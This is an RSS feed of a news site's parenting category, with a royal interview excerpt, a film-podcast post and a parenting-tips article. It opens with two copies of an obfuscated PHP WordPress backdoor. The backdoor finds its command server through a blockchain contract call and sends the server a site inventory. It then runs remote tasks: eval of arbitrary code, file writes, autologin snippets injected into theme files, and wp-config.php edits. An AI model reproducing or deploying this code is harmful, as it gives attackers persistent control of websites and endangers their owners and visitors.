// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Parenting – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 28 May 2020 22:59:14 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Parenting – Brief News https://briefnews.eu 32 32 Prince William opens up on ‘life-changing’ parenting moment: ‘I found it overwhelming’ https://briefnews.eu/prince-william-opens-up-on-life-changing-parenting-moment-i-found-it-overwhelming/ https://briefnews.eu/prince-william-opens-up-on-life-changing-parenting-moment-i-found-it-overwhelming/#respond Thu, 28 May 2020 22:59:14 +0000 https://briefnews.eu/prince-william-opens-up-on-life-changing-parenting-moment-i-found-it-overwhelming/

Marvin told William: “I became a dad in 2017 for the first time and it was the hardest time of my life. I found it really, really tough and I grew up without my father and not had a father to look up at.

“And now I’ve got a child looking up at a father and I don’t really know how I’m dealing with this and I really struggled with my emotions at the time and that’s something I wanted to ask you as well – there’s a lot of pressure for so many dads across the country.

“When you’re struggling, who do you go to?” with the prince replying: “So, I can relate to what you’re saying Marvin, having children is the biggest life-changing moment, it really is.

“I agree with you, I think when you’ve been through something traumatic and that is like you say, your dad not being around, my mother dying when I was younger, your emotions come back in leaps and bounds.”

 

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]]> https://briefnews.eu/prince-william-opens-up-on-life-changing-parenting-moment-i-found-it-overwhelming/feed/ 0 Daily Podcast: Parenting Advice For Film Fanatics, Avatar, Inside Man 2, Doctor Who, Gladiator, The Time Machine & Penny Dreadful https://briefnews.eu/daily-podcast-parenting-advice-for-film-fanatics-avatar-inside-man-2-doctor-who-gladiator-the-time-machine-penny-dreadful/ https://briefnews.eu/daily-podcast-parenting-advice-for-film-fanatics-avatar-inside-man-2-doctor-who-gladiator-the-time-machine-penny-dreadful/#respond Sat, 03 Nov 2018 07:11:00 +0000 http://briefnews.eu/daily-podcast-parenting-advice-for-film-fanatics-avatar-inside-man-2-doctor-who-gladiator-the-time-machine-penny-dreadful/ avatar universe
On the November 2, 2018 episode of /Film Daily, /Film editor-in-chief Peter Sciretta is joined by /Film writers Hoai-Tran Bui and Chris Evangelista to talk about the latest film and tv news, including Avatar, Inside Man 2, Doctor Who, Gladiator, The Time Machine and Penny Dreadful. And a new edition of Advice Corner with Chris Evangelista, he’ll answer a question about parenting.

You can subscribe to /Film Daily on iTunes, Google Play, Overcast, Spotify and all the popular podcast apps (here is the RSS URL if you need it).

In The News:

In Advice Corner with Chris Evangelista:

  • Yerbolat Yeskaliyev (pronounced Your ball) from Bay Area of California writes in: “Hello Peter and the gang..  This is probably 3rd time I feel the need in interacting with slashfilm daily. First 2 times were via itunes review and Twitter.  I would like to say it again, I really enjoy both podcasts and becoming somewhat addicted to daily dose =), so thank you all for your very nice work, it is appreciated!!!! I gotta be honest, I am not a website article reader that much, I stick with podcasts. My most favorite is when Daily has full crew with 2 of my faves Chris and HT!!   This genius new segment “Life Advice with Chris” is amazing, funny and maybe even helpful, so far it’s a big Maybe :):):) Ok got with that out of the way… Here is my question. I’m an immigrant from a country with a much more relaxed age rating system and I grew up watching hard R even NC-17 rated films such as “shocking asia” at age 12. Hollywood R rated movies were acceptable in our household with no problems.  After coming to US I have encountered this new to me system of age restriction and parental control. To me, at the time it didn’t make much sense and I saw it as a dumb thing. However, time went by and I am a father now, although my child is not yet old enough to watch movies. I have drastically changed my views towards parental control and movie age ratings….  I am definitely not going to show my son a Tinto Brass film at age 10, but I also don’t want to be so strict that not watching some R rated films at a young age can turn him into fragile scaredy cat. Where does Chris stand on this subject and how should I proceed with my dilemma? Should I censor the media for my kid and let him decide later in life if he likes that type of entertainment? Or should I take my own experience as an example and allow him to watch whatever interests him (within moral boundaries) of course.   Thank you in advance. Keep up good work. Best regards!!   Name: Yerbol (pronounced as who’s ball? YOUR BALL) =) location: Bay Area California.    Ps. To make ur podcast better, try making episodes twice a day and twice as long… Lol”

The Advice Corner theme song was created by Love you Wally.

 

Other articles mentioned:

 

All the other stuff you need to know:

  • You can find more about all the stories we mentioned on today’s show at slashfilm.com, and linked inside the show notes.
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The post Daily Podcast: Parenting Advice For Film Fanatics, Avatar, Inside Man 2, Doctor Who, Gladiator, The Time Machine & Penny Dreadful appeared first on /Film.

]]> https://briefnews.eu/daily-podcast-parenting-advice-for-film-fanatics-avatar-inside-man-2-doctor-who-gladiator-the-time-machine-penny-dreadful/feed/ 0 12 Tips for Parenting the Strong Willed Child in a Compassionate Way https://briefnews.eu/12-tips-for-parenting-the-strong-willed-child-in-a-compassionate-way/ https://briefnews.eu/12-tips-for-parenting-the-strong-willed-child-in-a-compassionate-way/#respond Thu, 20 Sep 2018 14:04:24 +0000 http://briefnews.eu/12-tips-for-parenting-the-strong-willed-child-in-a-compassionate-way/ How do you know if you have a strong willed child? You just know. Nobody had to tell you and you didn’t have to analyze your child to determine if they were strong willed.

Their personality is so strong that there is no guessing that they have a strong will. This type of personality is especially challenging to parents because it is difficult to parent someone who already has their mind made up about just about everything in life.

If channeled in the right direction and you don’t break your child’s spirit along the way, you can have a kid who is destined for epic things in life. Strong willed children are often highly self-motivated, so they are go-getters from a young age.

Help your child become the best person they can be by parenting your strong willed child appropriately, so their spirit is not broken.

Below are tips on parenting the strong willed child:

1. Don’t make yourself the enemy

Don’t make yourself the enemy by making it your way or the highway. Being a dictator as a parent will only drive your child away from you and make you the enemy.

Some parents want their strong willed child to listen and obey above all else, so they become forcefully strict in their parenting. They think that they need to act dominating and forceful in order to gain obedience from their child.

This is not helpful for the strong willed child. This will make you out to be the enemy because the perception is that you want your way and you are against their way.

It becomes a battle of wills; yours versus theirs. This obviously isn’t your goal as a parent; which is why you need to practice authoritative parenting methods.

Authoritarian vs. Authoritative Parenting

Parents should try to be authoritative parents of their strong willed child.

Authoritarian parenting methods should be avoided, as this type of parenting is a dictatorship with parents trying to exert their will over their children. Authoritarian parenting is especially not helpful with strong willed children.

Conversely, authoritative parenting methods are very effective with strong willed children. Parents who utilize authoritative methods have clear rules, are loving, consistent, while also placing value on their child’s bests interests.

At the end of the day, their goal is to do what is in the best interest of their child. Rules for one child are not the same for another within an authoritative home.

They see each child as an individual. They have rules, but rather than always seeing everything as black and white, which would be the case with an authoritative parent, they are willing to listen to their child regarding the situation at hand and determine the course of action in each case.

The rules are not there to simply be enforced. Rather, the authoritative parent sees the rules as guidelines to the end goal of raising healthy, happy, morally sound individuals.

Seeing the rules as guidelines provides some flexibility.

For example, if you have a rule that your child’s bedtime is at 8:00 PM bedtime and your strong willed child wants to stay up until 9:00 PM because they want to watch the Miss America Pageant, then you take the time to listen their reasons and a discussion takes place.

Your child explains that they want to watch the talent portion of the competition because they have a goal to someday be in this pageant and they want to see what kind of talent is needed to get to the Miss America level.

Rather than being an enforcer of the rules, for the sake of the rules, you begin to understand that they are wanting to watch because they have a goal and dream that they want to pursue.

You allow a one hour flexibility in this case, but make an agreement that anything beyond that hour will have to be recorded. You also include in the agreement that if there is any complaining or arguing when the hour is up, then the show will not be recorded at all.

Creating clear boundaries, but also taking into consideration their desires, dreams, and goals (within reason) will help you make better decisions that aren’t black and white all of the time.

The example above helps to create responsibility for the child with expectations, allowing them to not simply “have their way”, but to create an environment where they are treated with love and consideration.

Their hopes and dreams should not be squashed or minimalized. Your strong willed child may have great dreams and you don’t want to send the message that their dreams don’t matter because the 8:00 bedtime is more important.

2. They need to make choices: Offer them options

Love and Logic parenting methods can work quite well with strong willed children. This parenting method emphasizes offering options to children.

How it works is that from even the youngest of age, a child will be offered two choices for most daily decisions. This allows the strong willed child to be the decision maker for themselves.

Strong willed children want to feel in control of their decisions and will. Allowing for decisions throughout the day, even on the most basic level, puts the decision making in the hands of the child.

This is obviously within reason though. Parents provide the options, so they should be options that are win-win for the situation.

For example, at lunch time you can offer your child a peanut butter and jelly sandwich or macaroni and cheese. These are both options that you don’t mind making, yet it leaves a decision for the child. This helps the child feel empowered, because they are in control of decision making.

What if you went to a restaurant every day and there was only one option and no choice to be made? That could make it feel like prison day in and day out.

Your child’s home environment can feel the same way to them. Are they being told what to do all day long or are they being allowed to make decisions on what they want throughout the day?

Making it a point to allow decisions, with two options (that are both win-win options), you are helping your strong willed child to not only feel empowered, but you are also helping to develop a positive relationships with them.

You don’t want your child to feel like they are being raised in a prison, so allow them to make decisions daily.

You will have a better relationship with your child when you allow them to make these daily decisions because you are sending the message that their thoughts and opinions matter.

3. Instill morals: Don’t force your views

Strong willed children become determined adult. If you want your children to have good morals and character as adults, then you need to help guide them by your example.

You can’t force a strong willed child to believe what you believe. However, if you live a virtuous life, then you are providing a great example.

You are their number one role model as a parent. Their morals are shaped in the home.

If you want your strong willed child to have good morals, then practice what you preach. If you talk about not cheating and stealing and then your child overhears you at the dinner table talking about cheating on your taxes, you are not being a good example.

Teach your strong willed child to live a virtuous life by how you act. Be the example you want them to follow.

Have conversations with your strong willed child about their morals and character. Having these discussions will help them determine what kind of person they want to become.

Allow them to digest the important role that morality and good character play in their future. This will help shape their behavior because you are shaping their mind.

